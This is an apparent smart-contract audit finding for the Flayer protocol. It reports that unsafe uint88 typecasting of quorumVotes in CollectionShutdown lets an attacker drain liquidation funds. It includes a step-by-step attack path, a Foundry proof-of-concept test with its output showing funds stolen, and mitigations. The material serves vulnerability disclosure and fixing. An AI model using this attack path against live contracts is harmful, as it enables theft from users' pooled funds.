Warm Daisy Tiger

High

# Liquidation shares will be drained due to unsafe typecasting

### Summary

The unsafe typecasting in function `CollectionShutdown#start()` will cause the shutdown `quorumVotes` to be loss of precision, which lets voters to claim more than expected

### Root Cause

- In `CollectionShutdown#start()`, there is an [unsafe typecasting for value `quorumVotes`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L150)
- In function [`CollectionShutdown#execute()`, `quorumVotes` is updated with unsafe typecasting](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L245-L248)
- Collection token allows maximum `denomination` to be 9, so collection token's total supply can be very high (exceeding type range of `uint88`), rendering `quorumVotes` to be loss of precision

### Internal pre-conditions

1. Collection shutdown is started
2. Quorum passes
3. Owner calls `CollectionShutdown#execute()` 

### External pre-conditions

_No response_

### Attack Path

1. Attacker calls `Locker#createCollection(...<collection A>...)` with `denomination = 8`
2. Attacker calls `Locker#deposit(...<collection A>...)` to deposit 1 NFT and receive `1e26` CT
3. Attacker calls `CollectionShutdown#start(...<collection A>...)`, rendering `quorumVotes = 5e25` and quorum passes
4. Attacker calls `Locker#deposit(...<collection A>...)` to deposit 10 NFT and receive `1e27` CT 
5. Owner calls `CollectionShutdown#execute(...<collection A>...)` => `quorumVotes` is updated to value `240514990178654931275218944` ( = 2.405e26 ), which is 88 bits LSB of `5.5e26`
6. Attacker liquidates collection A's NFTs listed to Sudoswap by step 5
7. Attacker calls `CollectionShutdown#voteAndClaim()` to drain fund

Note that amounts are set simple to demonstrate the attack

### Impact

- The attacker can steal liquidation fund held by the contract

### PoC

Add the test below to file `CollectionShutdown.t.sol` :

```solidity
function test_unsafe_typecasting() public {
        erc721b = new ERC721Mock();

        // Define our `_poolKey` by creating a collection. This uses `erc721b`, as `erc721a`
        // is explicitly created in a number of tests.
        locker.createCollection(address(erc721b), 'Test Collection', 'TEST', 8);

        // Initialize our collection, without inflating `totalSupply` of the {CollectionToken}
        locker.setInitialized(address(erc721b), true);

        // Set our collection token for ease for reference in tests
        collectionToken = locker.collectionToken(address(erc721b));

        // Approve our shutdown contract to use test suite's tokens
        collectionToken.approve(address(collectionShutdown), type(uint).max);
        
        // Mint some collection token to attacker
        _distributeCollectionTokens(collectionToken, address(this), 1 ether * 1e8, 4 ether);

        // start a shutdown
        collectionShutdown.start(address(erc721b));

        
        // assume that attacker has NFTs
        uint[] memory ids = new uint[](10);
        for(uint i ; i < 10; ++i){
          erc721b.mint(address(this), 100 + i);
          ids[i] = 100 + i;
        }

        // attacker deposit NFTs
        erc721b.setApprovalForAll(address(locker), true);
        locker.deposit(address(erc721b), ids, address(this));

        // total supply exceeds uint88 range
        assertEq(collectionToken.totalSupply(), 11 ether * 1e8);


        // Mint NFTs into our collection {Locker}
        uint[] memory tokenIds = _mintTokensIntoCollection(erc721b, 3);
        // Process the execution as the owner
        collectionShutdown.execute(address(erc721b), tokenIds);

        // assume that NFTs are liquidated by the attacker with 2 ether
        _mockSudoswapLiquidation(SUDOSWAP_POOL, tokenIds, 2 ether);

        // other liquidated fund stays in contract
        address(collectionShutdown).call{value: 10 ether}('');
        

        uint balanceBefore = address(collectionShutdown).balance;
        // attacker drains fund
        collectionShutdown.voteAndClaim(address(erc721b));

        uint balanceAfter = address(collectionShutdown).balance;

        console.log("CollectionShutdown balance before %s", balanceBefore);
        console.log("CollectionShutdown balance after %s", balanceAfter);
        console.log("funds stolen", balanceBefore - balanceAfter - 2 ether); // assume that attacker pays 2 ether to buy NFTs
    }
```

Run the test and console shows:
```bash
Ran 1 test for test/utils/CollectionShutdown.t.sol:CollectionShutdownTest
[PASS] test_unsafe_typecasting() (gas: 4111730)
Logs:
  CollectionShutdown balance before 12000000000000000000
  CollectionShutdown balance after 7842254991020732841
  funds stolen 2157745008979267159
```

Note that amounts are set simple to demonstrate the attack

### Mitigation

- Change value type for `CollectionShutdownParams.quorumVotes` to a larger value range
- Use `SafeCast` lib 